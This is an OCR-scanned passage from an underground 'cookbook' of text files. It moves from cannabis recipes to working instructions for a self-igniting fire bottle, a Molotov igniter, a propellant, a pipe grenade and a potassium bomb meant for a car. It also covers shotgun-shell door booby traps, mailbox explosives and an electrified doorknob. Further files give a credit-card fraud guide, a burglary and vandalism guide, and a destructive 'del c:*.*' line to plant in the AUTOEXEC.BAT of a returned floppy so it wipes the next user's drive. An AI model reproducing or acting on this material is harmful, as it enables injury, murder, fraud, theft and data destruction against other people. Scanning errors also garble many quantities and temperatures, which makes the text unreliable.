• 1 pinch thyme 

• « teaspoon salt 

Mix in large pot, cover and simmer with frequent stirring for two hours. Serve over spaghetti. 

Pot Loaf 

• 1 packet onion soup mix 

• 1(16 oz.) can whole peeled tomatoes 

• « cup chopped grass 



• 2 lbs. ground beef or chicken or turkey 

• 1 egg 

• 4 slices bread, crumbled 

Mix all ingredients and shape into a loaf. Bake for one hour in 4OO0Oven. Serves about six. 

Chili Bean Pot 

• 2 lbs. pinto beans 

• 1 lb. bacon, cut into twoinch sections 

• 2 cups red wine 

• 4 tablespoons chili powder 

• « clove garlic 

• 1 cup chopped grass 

• « cup mushrooms 

Soak beans overnight in water. In a large pot pour boiling water over beans and simmer for at least an hour, adding more water to keep 
beans covered. Now add all other ingredients and continue to simmer for another three hours. Salt to taste. Serves about ten. 

Bird Stuffing 

• 5 cups rye bread crumbs 

• 2 tablespoons poultry seasoning 

• « cup each of raisins and almonds 

• « cup celery 

• 1 /3 cup chopped onions 

• 3 tablespoons melted butter 

• « cup chopped grass 

• 2 tablespoons red wine 

Mix it all together, and then stuff it in. 
Apple Pot 

• 4 apples (cored) 

• « cup brown sugar 

• -1 cup water 

• 4 cherries 

• 1 /3 cup chopped grass 

• 2 tablespoons cinnamon 

Powder the grass in a blender, then mix grass with sugar and water. Stuff cores with this paste. Sprinkle apples with cinnamon, and top with 
a cherry. Bake for 25 minutes at 3500 

Pot Brownies 

• « cup flour 

• 3 tablespoons shortening 

• 2 tablespoons honey 

• 1 egg (beaten) 

• 1 tablespoon water 

• « cup grass 

• pinch of salt 

• -■ teaspoon baking powder 

• « cup sugar 

• 2 tablespoons corn syrup 

• 1 square melted chocolate 

• 1 teaspoon vanilla 

• « cup chopped nuts 

Sift flour, baking powder, and salt together. Mix shortening, sugar, honey, syrup, and egg. Then blend in chocolate and other ingredients, and 
mix well. Spread in an 8-inch pan and bake for 20 minutes at 3500 

Banana Bread 

• « cup shortening 

• 2 eggs 



• 1 teaspoon lemon juice 

• 3 teaspoons baking powder 

• 1 cup sugar 

• 1 cup mashed bananas 

• 2 cups sifted flour 

• « cup chopped grass 

• « teaspoon salt 

• 1 cup chopped nuts 

Mix the shortening and sugar, beat eggs, and add to mixture. Separately mix bananas with lemon juice and add to the first mixture. Sift flour, 
salt, and baking powder together, then mix all ingredients together. Bake for 1 hours at 3750 

Sesame Seed Cookies 

• 3 oz. ground roast sesame seeds 

• 3 tablespoons ground almonds 

• -■ teaspoon nutmeg 

• -■ cup honey 

• « teaspoon ground ginger 

• -■ teaspoon cinnamon 

• -■ oz. grass 

Toast the grass until slightly brown and then crush it in a mortar. Mix crushed grass with all other ingredients, in a skillet. Place skillet over low 
flame and add 1 tablespoon of salt butter. Allow it to cook. When cool, roll mixture into little balls and dip them into the sesame seeds. 

If you happen to be in the country at a place where pot is being grown, here's one of the greatest recipes you can try. Pick a medium-sized 
leaf off of the marihuana plant and dip it into a cup of drawn butter, add salt, and eat. 

161 -Peanuts by the Jolly Roger 

Try this sometime when you are bored! 

1 .Take one pound of raw peanuts (not roasted!) 
2.Shell them, saving the skins and discarding the shells. 

3. Eat the nuts. 

4. Grind up the skins and roll them into a cigarette, and smoke! 
You'll have fun, believe me! 



162.Chemical Fire Bottle 



by the Jolly Roger 



This incendiary bottle is self -igniting on target impact. 



Material 

Sulphuric Acid 

Gasoline 

Potassium Chlorate 
Sugar 



How Used 

Storage Batteries 
Material Processing 
Motor Fuel 

Medicine 

Sweetening Foods 



Materials Required 
Common Source 

Motor Vehicles 
Industrial Plants 
Gas Station 
Motor Vehicles 
Drug Stores 
Food Store 



• Glass bottle with stopper (roughly 1 quart size) 

• Small Bottle or jar with lid. 

• Rag or absorbent paper (paper towels, newspaper) 

• String or rubber bands 

Procedure: 

1 .Sulphuric Acid MUST be concentrated. If battery acid or other dilute acid is used, concentrate it by boiling until dense white fumes are given 
off. Container used to boil should be of enamel-ware or oven glass. 



CAUTION: Sulphuric Acid will burn skin and destroy clothing. If any is spilled, wash it away with a large quantity of water. Fumes are 
also VERY dangerous and should not be inhaled. 



2. Remove the acid from heat and allow to cool to room temperature. 

3. Pour gasoline into the large 1 quart bottle until it is approximately 1/3 full. 

4. Add concentrated sulphuric acid to gasoline slowly until the bottle is filled to within 1 " to 2" from top. Place the stopper on the bottle. 

5. Wash the outside of the bottle thoroughly with clear water. 

CAUTION: If this is not done, the fire bottle may be dangerous to handle during use! 

e.Wrap a clean cloth or several sheets of absorbent paper around the outside of the bottle. Tie with string or fasten with rubber bands. 
7. Dissolve « cup (100 grams) of potassium chlorate and « cup (100 grams) of sugar in one cup (250 cc) of boiling water. 
S.AIlow the solution to cool, pour into the small bottle and cap tightly. The cooled solution should be approx. 2/3 crystals and 1/3 liquid. If there 
is more than this, pour off excess before using. 

CAUTION: Store this bottle separately from the other bottlel 

How To Use: 

1. Shake the small bottle to mix contents and pour onto the cloth or paper around the large bottle. Bottle can be used wet or after solution is 

dried. However, when dry, the sugar-Potassium chlorate mixture is very sensitive to spark or flame and should be handled accordingly. 
2.Throw or launch the bottle. When the bottle breaks against a hard surface (target) the fuel will ignite. 



163.lgniter from Book Matches by The Jolly Roger 

This is a hot igniter made from paper book matches for use with molotov cocktail and other incendiaries. 

Material Required: 

• Paper book matches 

• Adhesive or friction tape 

Procedure: 

1 .Remove the staple(s) from match book and separate matches from cover. 
2.Fold and tape one row of matches (fold in thirds) 

S.Shape the cover into a tube with striking surface on the inside and tape. Make sure the folder cover will fit tightly around the taped match 
heads. Leave cover open at opposite end for insertion of the matches. 

4. Push the taped matches into the tube until the bottom ends are exposed about 3/4 in. (2 cm) 

5. FIatten and fold the open end of the tube so that it laps over about 1 in. (2-« cm); tape in place. 

Use with a Molotov Cocktail: 

1 .Tape the "match end tab" of the igniter to the neck of the molotov cocktail. 
2.Grasp the "cover and tab" and pull sharply or quickly to ignite. 

General Use: 

The book match igniter can be used by Itself to ignite flammable liquids, fuse cords, and similar items requiring hot ignition. 

CAUTION: Store matches and completed igniters in moistureproof containers such as rubber or plastic bags until ready for use. Damp or wet 
paper book matches will not ignite. 

164."Red or White Powder" Propellant by the Jolly Roger 

"Red or White Powder" Propellant may be prepared in a simple, safe manner. The formulation described below will result in approximately 2 « 
pounds of powder. This is a small arms propellant and should only be used in weapons with « in. diameter or less (but not pistols!). 

Material Required: 

• Heat Source (Kitchen Stove or open fire) 

• 2 gallon metal bucket 

• Measuring cup (8 ounces) 

• Wooden spoon or rubber spatula 

• Metal sheet or aluminum foil (at least 1 8 in. sq.) 

• Flat window screen (at least 1 foot square) 

• Potassium Nitrate (granulated) 2- 1/3 cups 

• White sugar (granulated) 2 cups 

• Powdered ferric oxide (rust) 1/8 cup (if available) 

• Clearwater, 1-« cups 



Procedure: 

1 .Place the sugar, potassium nitrate, and water in tine bucl<et. Heat with a low flame, stirring occasionally until the sugar and potassium nitrate 
dissolve. 

2.lf available, add the ferric oxide (rust) to the solution. Increase the flame under the mixture until it boils gently. 
NOTE: The mixture will retain the rust coloration. 

3. Stir and scrape the bucket sides occasionally until the mixture is reduced to one quarter of its original volume, then stir continuously. 

4. As the water evaporates, the mixture will become thicker until it reaches the consistency of cooked breakfast cereal or homemade fudge. At 

this stage of thickness, remove the bucket from the heat source, and spread the mass on the metal sheet. 

5. While the material cools, score it with a spoon or spatula in crisscrossed furrows about 1 inch apart. 

e.Allow the material to dry, preferably in the sun. As it dries, restore it accordingly (about every 20 minutes) to aid drying. 

7.When the material has dried to a point where it is moist and soft but not sticky to the touch, place a small spoonful on the screen. Rub the 

material back and forth against the screen mesh with spoon or other flat object until the material is granulated into small wormlike 

particles. 

S.After granulation, return the material to the sun to allow to dry completely. 
165.Pipe Hand Grenade by the Jolly Roger 

Hand Grenades can be made from a piece of iron pipe. The filler can be of plastic or granular military explosive, improvised explosive, or 
propellant from shotgun or small arms ammunition. 

Material Required: 

• Iron Pipe, threaded ends, 1 -«" to 3" diameter, 3" to 8" long. 

• Two (2) iron pipe caps 

• Explosive or propellant 

• Nonelectric blasting cap (Commercial or military) 

• Fuse cord 

• Hand Drill 

• Pliers 

Procedure: 

1 .Place blasting cap on one end of fuse cord and crimp with pliers. 

NOTE: To find out how long the fuse cord should be, check the time it takes a known length to burn. If 12 inches burns in 30 seconds, a 6 inch 
cord will ignite the grenade in 15 seconds. 

2.Screw pipe cap to one end of the pipe. Place fuse cord with blasting cap into the opposite end so that the blasting cap is near the center of 

the pipe. 

NOTE: If plastic explosive is to be used, fill pipe BEFORE inserting blasting cap. Push a round stick into the center of the explosive to make a 
hole and then insert the blasting cap. 

3. Pour explosive or propellant into pipe a little bit at a time. Tap the base of the pipe frequently to settle filler. 

4. Drill a hole in the center of the unassembled pipe cap large enough for the fuse cord to pass through. 

5. Wipe pipe threads to remove any filler material. Slide the drilled pipe cap over the fuse and screw hand tight onto the pipe. 



166.European Credit Card Fraud by Credltman! 

UK credit card fraud is a lot easier than over in the States. The same basic 3 essentials are needed: 

1 .A safehouse. 

2. Credit card numbers with Exp. date and address. 

3. Good suppliers of next day delivery goods. 

The Safehouse 

The safehouse should be on the ground floor, so as not to piss off the delivery man when he comes to drop off your freshly stolen gear. If he 
has to go up 10 flights in a complete dive and some 14 year old kid signs for an A2000 then he's gonna wonder! IVlake sure there are no nosy 
neighbors, a good area is one full of yuppies 'cos they all go to work during daytime. Safehouses are usually obtained by paying a month's rent 
in advance or putting down a deposit of say, $200. Either that or break into a place and use that. 



Credit Card Numbers 

The card number, expiry date, start date (if possible), full name (including middle initial), phone number and full address with postcode are 
ideal. If you can only get the sirname, and no postcode, you shouldn't have any real hassle. Just say you moved recently to your new address. 
Phone number is handy, if it just rings and rings but if it doesn't, then make sure it's ex-directory. You CANNOT get away with giving them a 
bullshit phone number. Some fussy companies want phone numbers just to cross-check on CARDNET but generally it's not needed. To recap, 
here's a quick check-list: 

1 .Card number and expiry date. 

2. Name and address of card holder. 
S.First name/initials (OPTIONAL) 
4.Start date (OPTIONAL) 
S.Postcode (OPTIONAL) 
e.Phone number (OPTIONAL) 

If you have all 6, then you shouldn't have any hassle. Start date is the rarest item you could be asked for, postcode and initials being more 
common. If you are missing 3-6 then you need one helluva smooth- talking bastard on the phone linellll 

The Ordering 

Not everyone can order $1 OOO's of stuff - it's not easy. You have to be cool, smooth and have some good answers to their questions. I advise 
that you only order up to $500 worth of stuff in one go, but if you have details 1-6 and the phone number will NOT be answered from 9 to 5.30 
P.M. then go up to $1000 (make sure it's a GOLD card!). When getting ready to order make sure you have at least 3 times the amount of 
suppliers you need e.g. if you want to card 5 hard-drives, make sure you have 1 5 suppliers. A lot of the time, they are either out stock, can't do 
next day delivery or won't deliver to a different address. Quick check list of what you must ask before handing over number: 

1 .Next day delivery, OK? 

2.0rdered to different address to card, OK? 

3. Do you have item in stock (pretty obvious, eh?) 

Make sure you ask ALL of these questions before handing over your precious number. 
Excuses 

Usual excuses for a different address are that it's a present or you're on business here for the next 5 weeks etc. Any old bullshit why it won't 
go to the proper address. 

WARNING! Invoices! WARNING! 

Invoices are sometimes sent out with the actual parcel but they are also sent out to the card owners (why do you think they need the address 
for?) so using a safehouse for more than 2 days is risky. A 1 day shot is safe, if they catch on then they'll stop the goods before getting a 
search warrant. 

Credit Limits 

Limits on cards reach from $500 to $4000 on Gold cards. Your average card will be about $1000-$1500. It takes a while to build up a good 
credit rating in order to have large limits so don't think every card will hold 12 IBM 386's! Visa and Access are always used - American 
Express etc. are USELESS. 

• Access = Eurocard, Mastercard (begins with 5) 

• Visa = (begins with 4, 1 6 digit is a Gold) 

A general rule is, always confirm an order to make sure credit is cleared. As the month goes on, credit is used up - the bad times are from 27th 
- 3rd which is when all the bills come in. Best time to card is around 1 1 th or 1 2th, when the poor guy has paid off his last bill so you can run up 
a new one (he, he, hel). 

Ideal items to card 

The best stuff is always computer hard-ware as it's next-day. Amigas, ST's, PC's - anything really. Blank discs are a waste of time, they're too 
heavy. External drives, monitors - good stuff basically. Don't order any shit like VCR's, Hi-Fi, video-cameras, music keyboards, computer 
software, jewerely or anything under $300. You'll find the listed items are difficult to get next day delivery and usually won't deliver to a 
different address - bastards, eh? You're wasting your time with little items under $300, try to keep deliveries under 1 0 a day. 

The drop - Two ways of doing the drop 

1 .Sign for all the gear (make sure you're there between 9.00 and 5.30 P.M.) 

2.Don't turn up till around 6.30 P.M. and collect all the cards that the delivery man has left. These usually say 'you were out at XX time so could 
you please arrange new time for delivery or pick up from our depot'. In that case, piss off to the depot and get all the gear (need a big 
car!). 



Remember, carding is ILLEGAL l<iddies, so don't get caught. 



1 67.Potassiuin Bomb by Exodus 

This is one of my favorites. This creates a very unstable explosive In a very stable container. You will need: 

1 .A twoended bottle. These are kinda hard to find, you have to look around, but if you cant find one, you will need a similar container in which 
there are two totally separate sides that are airtight and accessible at the ends, like this: 

lairtight separator! 
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the separator IVIUST remain airtight/watertight so this doesn't blow off your arm in the process (Believe me. It will if you are not exact.) 

2.Pure potassium. Not Salt Peter, or any shit like that. This must be the pure element. This again may prove hard to find. Try a school chemistry 
teacher. Tell her you need it for a project, or some shit like that. Try to get the biggest piece you can, because this works best if it a solid 
chuck, not a powder. You can also try Edmund Scientific Co. at: 

Dept. 11A6 

C929 Edscorp BIdg. 

Barrington, NJ 08007 

or call 1 -(609) -547-8880 

S.Cotton 
4.Water 



Instructions: 

Take the cotton and stuff some into one end of the container lining one side of the separator. Place some potassium, about the size of a quarter 
or bigger (CAREFULLY, and make sure your hands are PERFECTLY DRY, this stuff reacts VERY VIOLENTLY with water) into that side and 
pack it in tightly with all the cotton you can fit. Now screw the cap on TIGHTLY. 

On the other side of the separator, fill it with as much water as will fit, and screw that cap on TIGHTLY. You are now in possession of a 
compact explosive made somewhat stable. To explode, throw it at something! The water will react with the potassium, and 
BBBOOOOOOIVIMMM!!! Works great on windows or windshields, because the glass fragments go everywhere (stand back) and rip stuff apart. 
The bigger the piece, the bigger the boom. If no potassium can be found, try looking for PURE Sodium, it works well too. 

PS: You could also place this little sucker under the wheel of a car of someone you hate.. .(Wait till' they back over that onelll) 



168.Your Legal Rights by Exodus 

Because you possess this little collection of mostly illegal concepts, you should be aware of your legal rights IF arrested (hey, it happens to the 
worst of us). 

Your Legal Rights are: 

1 .Have a hearing before a magistrate or judge, as soon as possible after you are arrested. 

2. Be notified of the charges against you. 

3. Have a reasonable bail set, if bail is granted. 

4. Have a FAIR, IMPARTIAL trial by jury. 

5. Be present at all stages of the trial. 

e.Confront your accusers, (without the baseball bat) 

7. Have your lawyer cross-examine the witnesses. 

8. Have your lawyer call on witnesses on your behalf. 



9. Be tried for a crime only once. 

1 0. Receive neither cruel nor unusual punisliment if you are convicted of a crime and sentenced. 

NOTE!!!: Tliese rights are for after you are arrested, and do not include the reading of the rights, etc. If these rights are violated in ANY way, 
that may be cause for a mistrial, or even tola! release. 

169. HOW The Law Protects Juvenile Offenders by Exodus 

Juveniles accused of breaking the law are granted some special rights intended to protect the, because of their age. If a juvenile is charged 
with a crime punishable by a term in a reform school or juvenile detention facility, he is assured the right to: 

1 .Remain silent, and not incriminate himself/herself. 

2. Be placed in quarters separate from adult offenders while being held in custody. 

3. Be notified before a hearing of the charges against him. 

4. Be released to his parents or guardians after signing a written promise to appear at his trial (unless the child is likely to run away and not 

come back to court unless he is dangerous or may himself be in danger if sent back home). 

5. Be tried at proceedings that are closed to the public. 

e.Have a record of the proceedings made, in case one is needed for a future appeal. 
7.Be represented by a lawyer. 

S.Have a lawyer appointed by the court if he cannot afford one. 

9. Confront his accusers. 

10. Have his lawyer cross-examine witnesses. 

Again, these rights are for after you have been arrested. 

170. Down the Road' Missile by Exodus 

This missile is aptly named because it travels best down a street or road. This is nothing more that harmless phun intended to scare the living 
shit out of oncoming cars. 

How To Make A Missile 

All you need are: 

• Hairspray can, or something else with flammable propellant (don't use spraypaint dipshit, it makes a big messi) 

• book of ordinary matches 

• tape (clear if possible, its thinner) 

• BB or pellet gun (use SB's if possible) 

Instructions: 

Tape the book of matches to the bottom of the can, y'know, the CONCAVE part. You might want to arrange the matches so that they are 
spread over a wide area of the bottom of the can, but close together. 

Shake the can up vigorously. Now place the can on its side with the nozzle of the can pointed in the direction you want it to go, down a road, 
off a ramp, at your sister, etc.. Now stand back a bit, and shoot at the matches. It shouid take off at about 30 ft per sec!! What happens in 
case you couldn't tell, is the BB hits the matches and causes a spark, and at roughly the same time, punctures the weak bottom of the can. As 
the propellant sprays out, it hopefully comes in contact with the spark, and presto. If you don't do it right you'll blow a lot of money because 
each can only be used once, so experiment to find best results. 

In The Air Missile: 

Compile the rocket as stated before, and put it vertical on a stand of some sort with the bottom accessible. Place a section of PVC pipe 950 
preferred and shoot into the PVC pipe which shouid direct the BB upward, and the can should take off. Experiment w/ different cans, its hard 
to find ones that work perfectly, and still go higher than 30 ft. 



171 .Phun With Shotgun Shells by Exodus 

This phile is for those have no concern for themselves or the person they wanna fuck over with this, (in short, a fucking MANIAC!!!) 



DoorBlams 



Shotgun shells are wonderful. They can be used in almost any situation where pain or amputation of iimbs is concerned (including your own if 
you are not EXTREMELY careful. The best way to use shells, is the DoorBlam. The DoorBlam is a simple concoction of a shell taped to the back 
of a door with the ignition button facing away from the door (so it blows out against the door). Now position it somewhere where it will do the 
damage you want, i.e.- near the top for decapitation, middle for slow death, or low to mal<e the victims kneecaps fly across the room. Now 
tape a thumbtack against a wall or something that that part of the door bumps up against. Tape it to the wall so that the point pokes through the 
tape, and position it so it will hit the ignite button upon impact... Its that simple. Instant pain! 

Long Range Explosives 

These are THE most difficult explosive I have ever tried to make (people I know have lost fingers and hands to this little fucker) IF you have a 
VVVVERY still hand, it might be accomplished. Ignite buttons usually take some force to make it blow, so CAREFULLY & LIGHTLY push a tack 
through tape and tape it to the back of the shell, with the tip of the tack LIGHTLY touching the button. Add more tape to the back to hold the pin 
in place. If you still have hands at this point, consider yourself lucky. Now you need to add a weight to the tack-end part to make sure it hits the 
ground first. Taping small rocks or making the shell by putting heavy loads towards the button helps. Placing a cracker (yes a cracker (Saltines, 
anyone ?)) between the tack-point and the button helps prevent detonation upon THROWING, which DOES happen. Now toss it up high and 
AWAY from you, and RUN LIKE SHIT does after you eat Mexican. 



172.Electronic Accessories by Exodus 

Some phreaks believe in the dowr»n-dirty customizing of equipment by crafting it themselves.. .not me! I believe that the other guy should build 
the stuff, and I'll steal it and use it later. This is a list of places where one can obtain the devices that would other wise have to be built by 
hand. But after all, a good phreak can take a pre-made item and adapt it to his needs 

Radar Jammers: 
The "Eclipse" $199.00 

T.E.K. Distributors 
PO Box 32287 

Fridley, MN 55432 (612)-783-1666 
Surveillance: 

tone bugging, tone recording sys., etc... 

EDE catalog $5 
PO Box 337 

Buffalo, NY 14226 (71 6) -691-3476 

USICorp., catalog: $2 
PO Box PM-2052 

Melbourne, FL 32902 (407)- 725-1 000 

Protector catalog $5 
PO Box 520294- M 

Salt Lake City, UT 841 52 (801 ) -487-3823 

FREE catalog: 1-800-732-5000 

SpyMart catalog $4 
POB0X340-M 
Morehead City, NC 28557 

MICRO-VIDEO: 
SUPERCIRCUITS catalog $3 
13552 Research Blvd. #B-2 
Austin, TX 78750 

Scanners: 

CRB FREE catalog 

PO Box 56 

Commack,NY11725 

HPR 

PO Box 19224PM 
Denver, CO 8021 9 



(request information, I guess!?) 



MISC: 

INFORMATION UNUMFTED 
PO Box 71 6, Dept. PM294 
Amherst, NH 03031 



«<— REALLY COOL SHFT, THE GOOD STUFF, 
(kinda expensive, so get ready to 
CARD!!) 



FREE catalog (w/order, ottierwise $1 .00) 



EDMUND SCIENTIFIC (always a fucl<ing GREAT place to find tfie little 
Dept. 1 4D2, nitty-gritty electronics that make up 

C908 EdsCorp BIdg. colored boxes, and the like) 

Barrington, NJ 08007 



173.Drip Timer 



by Exodus 



Another method of time delay for explosives that are detonatsd by electric means, is the drip timer. Fill a 'baggy' with water and then add as 
much salt as the water will hold. Seal it, leaving some air inside. Then, tape the two contact wires from which the circuit has been broken, to 
the inside of a large cup. Place the baggy on the cup. Poke a hole in the top of the 'baggy', where there Is air, and then make a hole In the 
bottom to let the water drain into the cup. As any Einstein figures, the salt water level in the cup will eventually conduct electricity at the 
moment both wires touch water, thus completing the circuit. I have yet to try this timer out, and I got the plans from a total idiot, phreaker 
nonetheless, and doubt it would work with any power source under 1 2v. 



174.Stealina by Exodus 

It is strange just how many files there are out there that try to document the art of stealing. After all, it IS an art. You have to be calm, smooth, 
persistent, patient. Stealing is not an overnight-planned operatbn. You should try to prepare for at least a week or more when planning to steal 
from a house, and even LONGER when from a business. Story time, kiddies: 

A long time ago, well, in the past year, my friends and I noticed that the building complex in our town was the perfect place to obtain unpaid-for 
items. We learned all we could about the complex, which was about 365,000 sqft, and each company consisted of an office (fully furnished 
with cool computer stuff), and a 10,000 sqft (roughly) warehouse, all interconnected, and all one level. This information was obtained through 
several calls to the town committee (board of development, or some shit like that, the place that you call for building permits, and the like.), and 
we obtained the blueprints for the whole complex. We planned a route from the side entrance through the warehouse, and into the offices, 
where all the good stuff is usually located. Now that we had our route, all we needed was a plan to get inside. Since this was our first major 
job, we spent a few good weeks on preparation. During the snow weather, we worked w/ a company to shovel the sidewalks of the 
complex. One night, at about 1 1 PM, we stopped shoveling in front of our planned job site, Campbell's Soup, Co. There was nobody there 
except the janitors that cleaned up the place (or so we thought). I asked the janitor if I could use the bathroom (I did have to go too) and he let 
me in. I must have surprised him when I knew exactly where the bathroom was! As I walked to it, 1 scanned for video cams, infrared 
guns/receivers (little boxes at entrances with a black glass square about 1" sq. at about knee height on each side). Nothing. The doors all had 
security magnetic detection at the tops, and also the windows. To think someone would break in through an obvious place like a large window, 
stupid. To my surprise, there were a few losers working late, and didn't really care that 1 was there at all. Take another Viverin' guys, 1 won't 
be here long. The smell of black coffee was stifling. The bathroom was located back by the office's entrance to the warehouse, and to my 
surprise, it was unlocked! The lights were on, and the place was totally empty, except for a few cardboard remains, and shelves, and that 
blessed side door. I walked over to the door to examine it. No security, no video cams in the warehouse, no nothing. Odd, usually these 
warehouses were kept tight as a hookers pussy. But it looked like they were packing up to move somewhere. Boxes on the office desks, etc.. 
The door was locked with a key deadbolt (pain to pick) and a regular door-knob key lock. No problem. 1 needed to stop that deadbolt from being 
locked, so I looked around for something to use. ...aha! There was some strange material like alum, foil on the ground, pliable, yet of a black 
color. 1 took out a small alien key (a thief never goes ANYWHERE without a small lockpicking tool) and crammed enough of the stuff into the 
keyhole so that a key could not be inserted far enough to turn, and the stuff was In to far to be pulled out. Vida! Back to the point of this story. 
When the time came to make our move, something strange happened. The place was abandoned for 3 days straight, most office equipment 
removed, and the front door left ajar, for all 3 days. We still decided to enter via our planned route. At 1 ;30 AM we went to the side door, and 
what a surprise, the deadbolt lock was open. Now to the knob lock. It was still locked, but not a problem. Knob locks usually look like this: 



l-wall socket> 



d 



0 



0 



|-wall socket> 



The top sliding piece is about -■" wide on popular locks, with the bar facing you, if the door swings outward. With the smallest alien key you 
can get, stick it in and repetitively push and slide it back towards the knob, but don't let go, because it is spring loaded and will snap back into 
place again. Now for the larger bar. Take another key and wedge it into the slot where the bar enters the 

other wall (without the knob on it)! and do the same thing. This will be considerably harder to do than with the small tongue, but if you practiced 
like you should have, it will open with minimum effort. Now we were inside. We ran through the warehouse though the warehouse/office door 
(these are rarely locked, but try to prepare for it ahead of time by "cramming the lock' like I did) and into the office. The place was empty, no 
shelves, just desks, chairs, and boxes. The boxes contained modems, motherboards, bus cards, printers, cables, fone cable, and one 
contained a Zenith laptop computerl No shit, this is a true story! We took everything we could carry (5 people). We took all the above 
mentioned, as well as printer toner, fones, fone jacks, documents, desk chairs, insulated boxes and bags (static-free kind), even the little shit 
things, like outlet plates, light bulbs, ANYTHING!!! We went really crazy, and were out in 2 min 30 sec.(always set a time limit) 

We wound up throwing half the shit away, but it felt great just to take anything that was not ours!! I have since then done other "jobs" with 
much more precision, and effort, as well as better rewards. Here are some tips that should be followed when attempting to steal: 

• WEAR GLOVES!!!!!!!!!! 

• Backpacks for everyone to put the loot in. 

• Always cas e the joint for at least a week and keep documented records of who leaves when, what time it closes, timed lights, etc... 

• Have at least 4 phriends with you, and , please, make sure they know what they are doing, no idiots allowed! 

• Bring tools :small alien keys, both types of screwdrivers, standard size, and tiny, hacksaw blade, wire cutters and strippers, spraypaint- 
to leave your handle on the wall, hammer, mace, gun-if available, flashlights (duh), wire-good for re-routing door security, and bolt 
cutters. 

• Designate a person to carry all the tools ONLY-don't have him pickup stuff and mix it with the tools, this will only slow you down later if 
you need to look fir a tool quickly. 

• Designate a person to STAY PUT by the door and keep watch. 

• Designate a timer, one who has a lighted stopwatch. 

• Make runs NO LONGER THAT 3 MIN. EVEN THIS TIME IS EXTREMELY HIGH-TOY TO KEEP AS LOW AS POSSIBLE. 

• Getaway vehicle (preferably NOT a van or pickup truck, these will be very suspicious to the pigs..er.l mean cops. And don't speed, or 
anything, this just attracts attention. Cover license plates till just before you get your asses going, so no one can report the plates to the 
pigs..oops!, damn, did it again, cops. Make sure you remove covering before leaving. 

• Always keep flashlights pointed DOWN unless necessary, crawl under windows, no shouting, even if you find some phucking cool shit, 
on second thought, maybe painting your handle is a little stupid, so forget that, wear dark clothes OVER regular, non-suspicious clothes 
(get changed first thing in the car) 

• Never brag about your findings in public, only on modem, or on BBS, and never give names of places, phriends, and exact names of 
things taken, (just say you 'borrowed' a 486DX 33 motherboard, don't say is a Intel 486DX 33 MHz for an IBM PS/1 model 50, serial 
#XXXXXXXXXXXX. that is just plain dumb) 

• Have phuni! and never steal from your neighborhood. 

• If you break into houses, never move stuff around; the longer it takes the yuppie family to realize that you were there, the better. 

• WEAR GLOVES!!!!!!!!!!!!! 

• To get in windows: shoot window with BB gun, and place clear, sticky hard-cover book covering on the window over the hole, hopefully 
the impact of the shot was enough to crack the glass, and LEAN OR PUSH on the covered glass, do not hit or kick, and you will see that 
the majority of the glass will stick to the covering, and will make considerably less noise. 

• Enter through basement windows preferably under a deck or steps. 



MAKE SURE THE PEOPLE WILL BE GONE FOR THE NIGKT AND THE NEIGHBORS ARE ASLEEP (GO FOR AROUND 2:30 AM) 



• Take stuff that will sell easily to friends, and don't waste time taking things that look neat, just take the basics: electronic, computer, TV, 
VCR, some jewelry-things you could easily hock, preferably without inscriptions, raid the fridge, take good quality fones, stereo equip., 
speakers, etc.. 

• Always case the outside of the house looking for security stickers that yuppie families like to place in full view. 

• Do mischievous shit like cut all tone lines in house, cut up couch cushions, and flip them over so they look perfectly normal!; shoot a hole 
in their fish tank, (all yuppies own fish); slash clothes, then put them back into the drawer; unplug fridge; set thermostat way up to 99.9e! 
leave drain plugged and let the faucet run just a little, (for 6 hoursll); whatever you can't take or carry out, destroy in a subtle way, -if you 
can't carry out those 130 lb. wood case stereo speakers, slash the cones; break ball-point pens open and rub them into the carpet with 
their shoes; run a magnet over audio and VCR cassettes and floppies, and anything else subtle that would brighten their day. 

175.MISCELLANEOUS INFORMATION by Exodus 

Easy explosive: 

• Fill Kodak film case (y'know, the black cylinder with the gray cap) with explosive of your choice. Drill hole in gray lid, insert fuse, and tape 
it back together very tightly. Light. 

-or- 

• Poke a hole it the gray cap facing outwards, and insert an IVl-80 with fuse going through the hole and reseal, taping it tightly ALL AROUND 
the case. Place in plastic mailbox, light, close door, and get the hell away! Because of the tight airspace, the destructive power of the 
explosion is increased 5X. Works under water too, with a drop of wax, or preferably rubber cement around where the cap and wick 
meet. 

-and- 

• Fill a GLASS coke/pepsi bottle with 1 part gas, 1 part sugar, & 1 part water. Wedge an IVl-SO into the top about halfway. Shake the 
container, place in mailbox (hopefully with mall {hehe!}) light, and get the fuck away. This thing sends glass shrapnel EVERYWHERE, 
including through their mail. 

Doorknob Shocker: 

• Run a wire from one slot in wall outlet to the bracket in the wall that the knob's tongue inserts into. Run another wire from the other slot to 
an inconspicuous spot on the DOORKNOB. How does that one *grab* you? 



Phone Loops: (remember, tone + silence = connection) 
NUMBER I Tone/Silence (T/S) End | STATUS (on connection) 





S 


no match 


1-619-748-0002 


T 


definite tone 


X-XXX-749-XXXX 


T 


definite tone 


7-?7?-7?9-9??9 


S 


no match 


1-619-739-0002 


T 


definite tone 


X-XXX-XXX-XXXl 


S 


not sure of match 


x-xxx-738-0002 


T 


definite 


x-xxx-xxx-0020 


S 


definite 


X-XXX-7XX-0002 


T 


definite 


9-999-999-9999 


S 


no match 



Actually, any 1-619-7x9-000x gives tone detect, finding the other silent connection is a wee bit harder. 
If anyone manages to complete some of these, or any loops, please let me know. 



The only bad thing about loop lines, is that eventually the Gestapo finds out about the over-use of the line, and assigns the number to anyone 
who wants a new number for their tone. Then when phreaks begin to use the line again, thinking it is a loop, they get a pissed off yuppie who 
then has the call traced, and that's like putting your balls right in a door and slamming it. The operator will complain in your face, and say some 
bullshit like she has your number and will report any disturbances to the tone co. if she sees it again. 



Simple Virus/Easy Way To Return A Copied Program (tielie!) 

When you buy a game, or something from a computer store, copy it, and want to return it (I know all of you do this), sometimes all the store 
does is re-cellophane it and it goes back on the shelves without being re-tested. If the original floppies have an AUTOEXEC.BAT file on them to 
initiate the copying/decompression at boot-up, simply edit it to say: 

cd\ 

del c:*.* 

y 

That'll make someone's day real funny, especially if the store tries to test it. Or, in most cases the store will not accept returned merchandise if 
It is not defective, so DEFECT IT. This is done by using a program that shows the date and time the originals were last modified (check for this 
BEFORE installing the programllllll) such as DosShell, or XTGold. Then set the date and time on your computer to match the originals date and 

time (approx). Install the program, and/or copy the originals and manuals. Now fuck around with the decompression file (usually PKUNZIP), the 
installation file, and any others you see. Now the store has no reason, and MUST accept the product as a return, or sometimes they will give 
you a return check for the $$, and send the program back to the manufacturer, which is good, because it will then be recopied, resealed, and 
put back on the shelves somewhere for another phreaker to HACK!! 

